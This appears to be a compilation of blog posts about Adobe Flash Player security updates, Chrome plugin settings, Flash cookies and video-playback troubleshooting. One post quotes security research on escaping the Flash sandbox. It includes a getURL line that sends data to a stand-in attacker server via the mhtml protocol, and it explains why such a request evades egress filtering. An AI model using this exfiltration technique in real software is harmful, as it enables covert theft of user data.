Flash users are asked to visit the About Flash page to check the Flash version installed on their computer.

It is alternatively possible to right-click on Flash content to see the Flash Player version in the context menu.

Adobe recommends to update Flash Player to the newest version 11.1.102.55 by downloading it from Adobe’s Flash Player Download Center. Is it alternatively possible to download Flash offline installers from the linked guide. Android users can update Flash by downloading the latest version from Android Market on their Android device. Google Chrome users do not need to run the update manually as it is automatically installed by the browser.

The security patch fixes several memory corruption, buffer overflow and stack overflow vulnerabilities in Adobe Flash Player that attackers could exploit to cause a crash on the system running Adobe Flash technologies. Code execution could then give the attacker control of the affected system.

Interested users can read the security bulletin over at the Adobe website. It offers additional information about each vulnerability found and download links to various technologies affected by the vulnerabilities.

The next big Flash release (that is Adobe Flash 11.2) will introduce automatic silent updates on Windows. This means that it will become more comfortable for Windows users to keep their installed version of Flash up to date on their system. See Flash Player 11.2 Introduces Automatic Updates for details.

Google Chrome users can open pdf documents directly in the browser. While the viewer is not comparable in functionality to desktop pdf readers, it is certainly enough to read a document online.

And native support for Adobe’s Flash technology ensures that Chrome users are automatically updated to the newest version whenever it is released, which improves overall security significantly.

Some Chrome users on the other hand may not want to use the native plugins of the Chrome browser. This can be the case if they have noticed that the Flash plugin is acting up or if they have installed a feature rich pdf reader on their system that they prefer to use.

Chrome, even with another Flash or PDF reader plugin installed, continues to use its native plugins for Flash and PDF contents (see Why are Two Flash Player Plugins Running In Google Chrome? for instance for an explanation).

Users of the Chrome web browser need to disable the native plugins before they can use third party plugins or software instead. This is done by entering chrome://plugins/ in the Chrome address bar and hitting enter.

The page that opens displays a list of all plug-ins currently installed in the Chrome browser. Relevant for this guide are the Flash and Chrome PDF Viewer plugins. A click on Disable below the Chrome PDF Viewer disables those capabilities in the browser.

In regard to Flash, it is a bit more complicated. It is necessary to click on Details first to display all installed Flash plugins in Chrome. Locate the Flash plugin that has its location in the Chrome application folder and click the disable link to disable it. Make sure another Flash plugin is still active if you want to use the technology on the Internet.

That’s how you disable both the native Flash plugin and the native pdf viewer in Google Chrome.

Are you using Google Chrome’s native plugins? Or did you notice issues using those plugins?

There is not really a lot that users can do to improve the Flash performance on their computer. While some may be able to increase fps by closing background applications or overclocking their graphics adapter, others may not see a difference at all in this regard.

The Firefox add-on Low Quality Flash offers a different solution. The extension modifies the HTML source code to load Flash elements in low quality. This is an automated process that happens on every page load if Flash elements are loaded. This works on games but also on regular Flash applications and media including advertisement banners.

Reducing the quality of Flash should have a positive effect on the overall performance on the page. It can on the other hand reduce the visual quality of the contents. Depending on the Flash element this can be visible or not visible at all. The add-on works on most sites but not on all. You may encounter sites where you won’t see a difference.

The add-on can also improve the performance on Flash heavy sites in general which includes faster navigating or scrolling for instance. The most recent versions of the Low Quality Flash add-on come with a preference to switch from low quality to medium quality Flash contents instead. This may be interesting for computer systems that cannot play high quality or ultra quality Flash contents but are sufficiently fast to play medium quality contents.

Firefox users can install Low Quality Flash directly from the official Mozilla Firefox add-on repository.

I’m not sure what caused the issue, but what I did know was that I had to stop the installer from creating new Flash installer instances on my computer. With Windows Task Manager out of the picture, I had to find a way to terminate the process.

One of the best Windows Task Manager alternatives is Process Explorer from Sysinternals (which have been part of Microsoft for the past years). You can download the latest version of Process Explorer from here.

I started the process manager with standard rights first only to find out that I could not use it this way to terminate the process. After exiting and restarting it with elevated rights (by right-clicking and selecting run as administrator) I was able to terminate the process on the system.

Other programs, like Process Lasso, Kill Process or the recently reviewed Daphne may have also been able to terminate the rogue process.

I have learned two things this morning: First, that Windows Task Manager is not almighty when it comes to terminating processes on Windows, and second that it is definitely better to download and install Adobe Flash Player offline installers.

Did you ever encounter a process that you could not kill? What did you do to resolve it?

The auto-updater is only provided for Windows systems in Flash 11.2. Windows users who install Flash Player 11.2 or later will see the following prompt after the successful installation.

It reads:

Security updates and enhancements are periodically released for Adobe Flash Player that can be downloaded and installed automatically.

Choose your update method:

• Install updates automatically when possible (recommended)
• Notify me when updates are available
• Never check for updates (not recommended)

The first option checks for and installs Flash Player versions automatically on the operating system. Depending on the Flash version installed, this may include one (Internet Explorer version or other browser version) or even both versions if both are installed on the system.

The second option will perform the same checks for new versions. Instead of installing new versions automatically it will inform the user instead.

Flash Player will check for updates once per hour if the first or second option are selected. Adobe notes that users need to restart their web browser after an update has been installed to use the new version of Flash Player in the web browser.

The latest version of Adobe Flash Player 11.2 is available on the Adobe Labs download page. The installer is provided for all 32-bit and 64-bit operating systems that support Adobe Flash. The very same page offer downloads for the Flash Player uninstaller for 32-bit and 64-bit systems to uninstall the test version from the system again.

The update checks for new Flash versions are added as a Windows task so that no update program is running all the time on the computer system. It is likely that this new security feature will decrease the number of successful Flash player based attacks on Windows significantly. (via)

If you look at the plugin listing in the Chrome web browser you may notice that the Flash listing says something like Flash (3 files) or Flash (2 files). You need to click on Details on the page to see what’s going on there.

You may notice that multiple Flash plugins are loaded in the Chrome web browser instead of just the native plugin. You can click on the Disable or Enable links to disable or enable specific Flash versions in the browser. This can be handy for Flash developers who need to test their applications in a different version of Flash, and for end users who do not want multiple running plugins in the owser.

Multiple enabled Flash plugin versions in the browser are not a problem according to Google.

It’s normal to see two Flash files in about:plugins. When both are listed as enabled, Google Chrome uses the built-in version by default, so you shouldn’t have to specify which one to use unless you specifically want Chrome to use the system version instead (has ‘NPSWF32.dll’ in the location field). Keep in mind that if you use the system version, you’re responsible for keeping Flash updated while the built-in version will update automatically via Chrome’s auto-update mechanism.

If multiple Flash plugins are enabled and the native plugin is one of them, then that plugin is used to display Flash contents in the Google Chrome web browser. This does not explain why a second Flash plugin is enabled in the browser, as it does not make sense if the native Flash plugin is always used if active.

My suggestion would be to disable the non-native Flash plugin in Chrome to be on the safe side.

Probably the biggest new feature in the beta is native 64-bit support for 64-bit Windows operating systems. While still in beta, it marks a milestone in the 64-bit development of Flash, as the beta release indicates that 64-bit support might be added to the final version of Flash 11.

Users with the intention to download the 64-bit version of Flash beta need to know that it can only be run in a 64-bit web browser. That’s Internet Explorer mostly, and some custom compiled versions of the Firefox web browser. Users who run a 64-bit browser can install the 64-bit version of Flash normally on their system, provided that it is a 64-bit operating system as well. To sum it up: You need a 64-bit OS, a 64-bit web browser to install the 64-bit version of Flash 11 Beta.

What else is new in Flash 11? Adobe lists the following features on the Adobe Labs page: Stage3D APIs, G.711 audio compression for telephone, H264/AVC SW Encoding, Socket Progress Events and HD Surround Sound.

Adobe® Flash® Player 11 desktop beta drives innovation for rich, engaging digital experiences with new features for cross-platform browser-based viewing of expressive rich internet applications, content, and videos across devices. Some of the features from the Flash Player Incubator, such as Stage 3D and 64-bit support, have been moved into this beta release.

While useful to some users, they might not be relevant for the majority of Flash users at this point in time. Flash 11 Beta could be more interesting to developers who may have plans to integrate one or some of the new features into their applications.

Interested users can download 32-bit and 64-bit editions of Flash 11 Beta from the Adobe website. The new version is available for Windows, Linux and Macintosh computer systems. The download page links to 32bit and 64bit Flahs uninstallers, for users who need to go back to version 10 of Flash.

The update is classified as important which is the second highest severity rating available.

Flash users can verify the installed version of the application by visiting Adobe’s Flash Player page. The system is vulnerable to the attacks if the Flash version is 10.3.181.16 or earlier.

Download links are provided on the security bulletin’s page. The latest version can be downloaded from the official Get Flash Player page as well. Direct Downloads are available as well.

Adobe is currently not aware of attacks that use the authplay.dll component that ships with Adobe Reader and Acrobat. While the company is not aware of attacks at this point in time, it has not completed the investigation if authplay.dll is vulnerable to the recently discovered Flash vulnerability.

In other news: The developers of the popular video player VLC have also released a new version of their application to protect users from recently discovered security issues.

The release notes list an integer overflow vulnerability in xspf demuxer as well as several updates and rewrites of features in the latest version of the media player.

VLC users are encouraged to download and install the latest version of the player right away to protect their system from possible exploits.

Downloads are as usually offered at the official Videolan website.

We have covered all new features of Flash Player 10.3 when the first beta was released in March, and those information are still valid.

Adobe Flash Player 10.3.181.14 fixes several security issues, next to the new features that have been added by Adobe.

The vulnerabilities affect all supported operating systems and have received a critical rating by Adobe. Users are encouraged to update their version of Flash to the new release as soon as possible.

Critical vulnerabilities have been identified in Adobe Flash Player 10.2.159.1 and earlier versions (Adobe Flash Player 10.2.154.28 and earlier for Chrome users) for Windows, Macintosh, Linux and Solaris, and Adobe Flash Player 10.2.157.51 and earlier versions for Android. These vulnerabilities could cause the application to crash and could potentially allow an attacker to take control of the affected system. There are reports of malware attempting to exploit one of the vulnerabilities, CVE-2011-0627, in the wild via a Flash (.swf) file embedded in a Microsoft Word (.doc) or Microsoft Excel (.xls) file delivered as an email attachment targeting the Windows platform. However, to date, Adobe has not obtained a sample that successfully completes an attack. (via)

The new handling of so called Flash cookies in web browsers is probably the most important feature from an end-user’s perspective. Before Flash Player 10.3, you were not able to delete those cookies from within the browser interface. Even if you’d select to delete all cookies, you’d only delete HTTP cookies and not cookies created by Flash.

With the new system in place, browser developers can integrate the cleaning of Flash cookies right into the temporary files and history cleaning of the web browser.

Another interesting addition is the integration of Flash Player in the operating system’s Control Panel. Windows, Mac and Linux users find a Flash entry in the control panel which they can use to configure Adobe’s Flash Player.

Users can make use of the new settings manager to manage local storage settings, camera and microphone permissions and peer-assisted networking permissions. It furthermore can be used to check for updates manually, and block the automatic update checks.

A delete all button is offered under Browsing Data and Settings which removes all Flash related settings and data across all browsers on the computer.

Flash Player 10.3 Direct Download Links

You can download Flash from the official Get Adobe Flash website as well.

It still means that you have to click on an extra link to open the settings before you can delete the additional objects in the Chrome browser, but that’s better than providing no link at all.

The latest build of Google Chrome Canary is showing improvements in this regard. It now offers the option to delete cookies and plug-in data natively without opening the Flash storage page after the initial local cleanup of temporary browsing data.

Flash cookies are often used by advertisers and marketing companies to track users on the Internet. This in addition to standard cookies. The core advantage of Flash cookies from a company’s point of view is that they are harder to access and delete on the user side which makes the tracking more effective.

This is now changing in Google Chrome with the inclusion of clearing plug-in data directly in the browser.

The standard “Adobe Flash Player storage settings link has been removed from the Clear Browsing Data.

The new feature is currently only available in the latest Chrome Canary builds. It is likely that it will be moved quickly to to be included in Dev, Beta and eventually Chrome stable builds.

The option to delete Flash cookies is enabled by default when a user clicks on the Clear browsing data button in the Chrome options. This suggests that more users will clear their Flash cookies from now on, at least in the Chrome browser. It could lead to some problems on the other hand, considering that Flash cookies are used by gaming sites to store high-scores and other information.

Chrome users can also use the shortcut Ctrl-Shift-Del to quickly open the Clear Browsing Data menu.

It is likely that the native integration of the Flash plugin in the Chrome browser has made that possible. (via Browser Scene)

Three additional security vulnerabilities are fixed in the latest Google Chrome Stable version. One of the fixed issues is only affecting Chrome on Windows, while the remaining are affected all versions of the Chrome browser.

• [Windows only] [70070] Critical CVE-2011-1300: Off-by-three in GPU process.
• [75629] Critical CVE-2011-1301: Use-after-free in the GPU process.
• [78524] Critical CVE-2011-1302: Heap overflow in the GPU process.

All three vulnerabilities have received a critical rating, the highest possible rating. The Adobe Flash vulnerability was rated critical by Adobe, which means four critical vulnerabilities have been fixed in total in the latest version of Google Chrome.

Google Chrome users can download the latest version of the web browser from the official Google Chrome download page, or with an in-browser update.

Google Chrome should recognize the update automatically and apply it on the next restart of the browser. They can initiate the update check manually with a click on Tools > About Google Chrome.

This queries the Google Update server to see if a new version of the installed Chrome browser is available. Updates that are found by the check are downloaded automatically, and the only thing left to do is to restart the browser to apply the update that secures the Internet browser from those vulnerabilities.

Adobe confirmed that a general update for the Flash vulnerability will follow tomorrow.

Affected are more or less all Flash users. This includes Flash installations on Windows, Mac and Linux, the built-in Flash Player of the Google Chrome browser, Flash on Android and Flash in Adobe Reader and Acrobat.

• Flash Player 10.2.153.1 and earlier versions on Windows, Mac, Linux, Solaris
• Adobe Flash Player 10.2.154.25 and earlier for Chrome
• Adobe Flash Player 10.2.156.12 and earlier versions for Android
• Adobe Reader and Acrobat X (10.0.2) and earlier 10.x and 9.x versions for Windows and Macintosh operating systems

Adobe confirmed reports that the vulnerability is actively exploited. The vulnerability uses embedded Flash files in Microsoft Word documents to exploit the issue. According to Adobe’s information those are delivered as email attachments and targeting the Windows platform.

Adobe Reader and Acrobat do not appear to be targeted right now. Adobe Reader X users are protected from this exploit by the program’s Protected Mode.

Adobe is currently finalizing a schedule for delivering updates for all affected versions of Flash Player except for Adobe Reader X which will receive the update on the next quarterly security update on June 14, 2011.

How can users protect their system from these kind of attacks? You should be cautious when you receive document attachments, especially if they come from unknown senders. Probably the best option in this case is to save those attachments to the computer, and open them in an online viewer such as Google Docs.

You could alternatively use a third party document viewer that does not support Flash, but the safest bet is an online viewer.

Interested users find additional information about the newly discovered Flash vulnerability at the Adobe Security Bulletin.

The critical vulnerability affects Adobe Flash, and since Adobe implemented Flash technology in Adobe Reader and Acrobat, those products as well.

The Flash vulnerability affects all Adobe Flash Player 10.2.152.33 and earlier versions on all supported operating systems, as well as Flash Player 10.2.154.18 and earlier for Chrome, Flash Player 10.1.106.16 and earlier for Android and Adobe AIR 2.5 and earlier. Google recently pushed an update that resolved the vulnerability for Chrome.

Attackers can exploit the vulnerability to cause a crash which could allow them to take control over the affected system. We already mentioned in our first report on March 14 that the issue was actively exploited by attackers in the form of embedded Flash files in Microsoft Excel documents that were delivered as email attachments.

The Flash Player update is available on the official Flash download page over at Adobe. Google Chrome users with automatic updates enabled do not need to download the update as Google has already pushed an update to all Chrome users that updated Flash to the latest version.

The new Flash version is 10.2.153.1 for all supported desktop PCs, 10.2.156.12 for Android and 10.2.154.25 for Google Chrome.

Adobe AIR users can download the new version of the application from the official Adobe AIR download center, the new Adobe Air version is 2.6.

Users can verify their version of Adobe Flash by visiting the About Adobe Flash Player page.

The Security Bulletin that lists additional information is accessible here.

Adobe has released an update for Adobe Reader and Acrobat as well to address the same critical security vulnerability. Adobe Reader and Acrobat X, 10.x and 9.x are affected on Windows and Macintosh systems.

Existing Adobe Reader and Adobe Acrobat users can use the built-in updating functionality to update the software to the latest version. They need to open Adobe Reader and select Help > Check for Updates from the menu to initiate that process.

It needs to be noted that Adobe is not supplying an update for Adobe Reader X at this point in time. The reasoning is that Adobe Reader X is using Protected Mode which “would prevent an exploit of this kind from executing”. The update will be addressed on the coming quarterly security update which is scheduled for June 14.

The security bulletin lists additional information about the vulnerability, and download links that point to the latest program versions of affected applications.

Adobe has confirmed reports that the vulnerability is actively exploited via swf files that are embedded in Microsoft Excel files that are delivered via email attachments. A successful exploit causes a crash of the application and could give an attacker control over the computer system.

A security fix is in the final stages of development, and Adobe estimates that it can be distributed during the next week. Computer users for now should be very cautious when they receive emails with Excel attachments, especially if the sender is unknown. It may be a good idea to open the documents online, for instance via Google Docs instead of a desktop client to block potential attacks.

Protected Mode of Adobe Reader X mitigates the issue according to Adobe, so that the security fix for that version will be delivered with the quarterly security update that is scheduled for June 14.

In short:

• All Flash Player versions 10 are affected for all supported desktop and mobile operating systems.
• All versions of Adobe Reader and Acrobat X, 10 and 9 are affected
• The vulnerability is exploited via Excel email attachments that have a Flash file embedded.
• A patch will be delivered in the next week

Additional information are available at the Security Advisory over at Adobe’s website.

ActiveX Filtering is disabled by default but can be enabled by clicking on Tools > Safety > ActiveX Filtering. One of the easiest ways to find out that it is indeed the ActiveX Filtering that is repsonsible for broken contents is to enable ActiveX Filtering and visit Youtube. Youtube will notify the user that it is necessary to upgrade to Adobe Flash Player to watch the video. Users who disable ActiveX Filtering can watch the video without following that advice.

Many websites have suggested to disable ActiveX Filtering completely to be able to play games and watch videos again. That however is not the best solution available. While it is working it eliminates the added protection of the security module in Internet Explorer.

How to fix Java and Flash contents in Internet Explorer 9 with ActiveX Filtering enabled

Open Tools > Internet Options and switch to the Security tab there.

Internet Explorer supports four different zones each with their own distinctive security settings. All websites that are not locally accessible are using the security settings of the Internet zone, unless they have been added to Trusted Sites or Restricted Sites.

Trusted sites use less strict security rules by default while restricted sites highly restricted rules.

The idea now is to add the sites that you want to play Flash or Java contents on to the trusted sites. That alone however is not enough as it is necessary to make one small configuration change. Take a look how this is done for Youtube:

Select Trusted Sites from the available zones and click on the Sites button afterwards. This opens a new window with options to add or remove sites from the Trusted sites zone.

All you need to do is to enter youtube.com in the “Add this website to the zone” form, uncheck “Require server verification (https:) for all sites in this zone” and click on the Add button.

You do that for all sites that you access that make use of Flash, Java or other third party technologies that are added as plugins to Internet Explorer 9.

Once you are done click the close button.

Locate the custom level button and click it.

Scroll down until you find the entry Allow ActiveX Filtering under ActiveX controls and plug-ins. Note that it is enabled by default. All you need to do is to change the parameter to disable and click the ok button to save the new setting.

All Java, Flash and other third party plugin contents are from that moment on playing as usual on all sites that have been added to the Trusted Sites Zone.

And that’s it. It may happen that you stumble upon a new site that is not working properly. Just add it to the trusted sites listing to make it work as well. But be cautious with the sites that you add there as they are having more rights than standard Internet websites that use the standard Internet zone.

One option to change that is to change the custom level of the Trusted sites zone to the default medium-high which can be done in the settings of the zone. Make sure to disable ActiveX Filtering afterwards. That way you use the same security except for the ActiveX Filtering.

He found out that SWFs that are loaded from a local file can in fact bypass the sandbox by passing “the contents to the attacker server via getURL() and a url like: file://..”. That however can only be used to pass IPs and hostnames and no other data.

Data can however be send to a remote server on the Internet as well. A solution was quickly discovered; Adobe is blacklisting protocol handlers (via) which means that Flash Player will block some protocols (like JavaScript://) while allowing others (like mailto://). While it is theoretically possible to bypass the blacklist, an even easier solution is to find a protocol that is currently not included in the list.

Billy Rios found the mhtml protocol:

There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example. The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash. Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:

getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);

Some other benefits for using the mhtml protocol handler are:

The request goes over http/https and port 80/443 so it will get past most egress filtering
If the request results in a 404, it will silently fail. The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer
The protocol handler is available by default on Win7 and will launch with no protocol handler warning

Attackers need to create a Flash file that they add the mhtml request to. Users then would need to execute the file on their computer system. How does it get there? For instance by email or as part of a virus attack. (via)

You can get more information about Flash Cookies in a guide we have posted a few years ago. Adobe has now announced that they have plans to “LSO management with the browser UI” which would mean that users would be able to delete those cookies just like they are able to delete regular cookies.

Most recently, we’ve been collaborating with browser vendors to integrate LSO management with the browser UI. The first capability, one that we believe will have the greatest immediate impact, is to allow users to clear LSOs (and any local storage, such as that of HTML5 and other plugin technologies) from the browser settings interface—similar to how users can clear their browser cookies today. Representatives from several key companies, including Adobe, Mozilla and Google have been working together to define a new browser API (NPAPI ClearSiteData) for clearing local data, which was approved for implementation on January 5, 2011. Any browser that implements the API will be able to clear local storage for any plugin that also implements the API.

Adobe basically has created a new browser api which can be used by the browser to clear the local storage. This throws the ball to the browser developers who now need to evaluate if and how they can implement this new option in their browser.

Another interesting change is that Adobe wants to integrate Flash Player Settings Manager directly “Control Panels or System Preferences on Windows, Mac and Linux”. While that’s hopefully optional it will give users a direct easier way of accessing those settings.

The first browser to roll out with the new feature will be Google Chrome dev which may offer the feature in a few weeks.

Interested users find the full blog post over at the Adobe Blog.

One of the biggest addition in Adobe Flash Player 10.2 is improved hardware acceleration. This version “enables access to hardware acceleration on the entire video pipeline” which should reduce the processing power requirements noticeably during video playback. Adobe mentions that they have seen “laptops play smooth 1080p HD video with just over 0% CPU usage” during tests. While that does not necessarily mean that every computer sees such a huge drop in cpu usage it does give a good indication of what users can expect after installing Adobe Flash Player 10.2.

The new version of Flash Player can be especially helpful for users who have experienced slow downs or high cpu usage during video playback.

Flash Player 10.2 introduces Internet Explorer 9 GPU support which can improve the rendering performance in Microsoft’s newest Internet browser by up to 35%.

Computer users with multi-monitor systems will like the ability to play full screen Flash contents on one monitor while “multi-tasking” on the other.

It still has to be noted that the release is a beta version and not a final release. Users who want to try it out can download Flash Player 10.2 beta from Adobe Labs. It is available for all supported operating systems.

That was kinda strange since I did not make any changes to the browser itself or the Flash settings. Still, I opened Tools > Google Chrome Options > Under The Hood > Content Settings > Cookies > Adobe Flash Player storage settings to see if third-party Flash contents were indeed disabled.

Allow Third-Party Flash Content To Store Data On Your Computer is an option under the Global Storage Settings in the Flash Player settings manager (that’s the second icon from the left).

The setting was disabled. I tried to enable the setting but the checkmark did not appear after a click. I was able to change the slider to set the storage maximum, but when I switched tabs shortly to see if the setting was saved I realized that it was not.

Big problem. I figured that it may be a problem of creating a directory on the local PC. The browser may need elevated privileges for that. I decided to give it a shot, closed the Chrome browser and restarted it as an administrator. Followed the path again to the Global Storage settings panel and lo and behold, Allow Third-Party Flash Content To Store Data On Your Computer was enabled again.

I’m still not sure what caused the problem in first place, but if you run into problems playing Flash videos on the web you may want to check the third-party Flash content settings to make sure they are enabled.

The Internet is filled with support requests of Facebook users who cannot play videos on the popular social networking site. This guide takes a look at some of the more common problems associated with playback problems of videos on Facebook, offering quick and easy solutions for those.

The most important fact that Facebook users need to know is that Facebook uses Adobe Flash to show and play videos on their website. The most common problems therefor are linked to Adobe Flash.

To begin, users should visit the official Adobe website to check if the Flash Player is properly installed on their system and their web browser.

flash player version

The page checks if the Flash Player plugin is running in the browser. The next step is to verify that the Flash player version is the latest version released by Adobe. To do that, users need to compare the version displayed on the first page, with the version displayed on the Get Flash Player page.

Most video playing problems on Facebook are related to Flash Player. What makes matters worse is that Flash needs to be installed differently, depending on the browser used. For Microsoft’s Internet Explorer, it has to be installed like any other Windows application. For Firefox and Opera, it has to be installed as a browser plugin, and for Chrome, it is already included.

A good option therefor is to check if the video is playing in another browser. The best browser for that is Google Chrome, due to the fact that Flash comes preinstalled in it. Just download the browser and visit Facebook afterwards.

Log into your Facebook account and load a page containing a video. If that plays properly, it is likely a Flash player conflict in the other browser. Either that no Flash Player is installed at all, that it is disabled or corrupt.

A good idea then is to uninstall all Adobe Flash installations and restart the computer, before installing Flash again. This should fix the videos not working problems on Facebook. Alternatively, it is possible to simply use a browser where videos play properly.

To sum it up to this point:

• Make sure that the latest version of Adobe Flash is installed and activated in the web browser.
• If not, download and install the latest version, or test video playback with another browser first.

Another option is to take a closer look at the error message displayed. Is it showing “Video disabled by YouTube”, “unavailable” or “disabled by YouTube” or something similar? This can be an indication that the video itself has been disabled, deleted or blocked by the video hosting service. A good option then is to find another video on Facebook to verify the findings. If that video plays then videos are working properly on Facebook.

Another common problem why videos are not working on Facebook is third party software that interacts with the video stream, for instance another browser plugin or software that tries to speed up the delivery of the video to the local PC. It is a good idea to disable those temporarily to make sure that they are not the cause for Facebook videos not working.

You may also want to clear the web browser cache, to remove any local copies on the computer. This forces the browser to retrieve the video information again from the source. It sometimes happens that corrupt copies are stored locally, and clearing the cache resolves those issues.

Take a look at web browser maintenance for instructions on how to do that.

Finally, if you are stuck, you should research the exact error message to see if other users are experiencing similar problems. Chance is, they are with Facebook’s 500+ million users.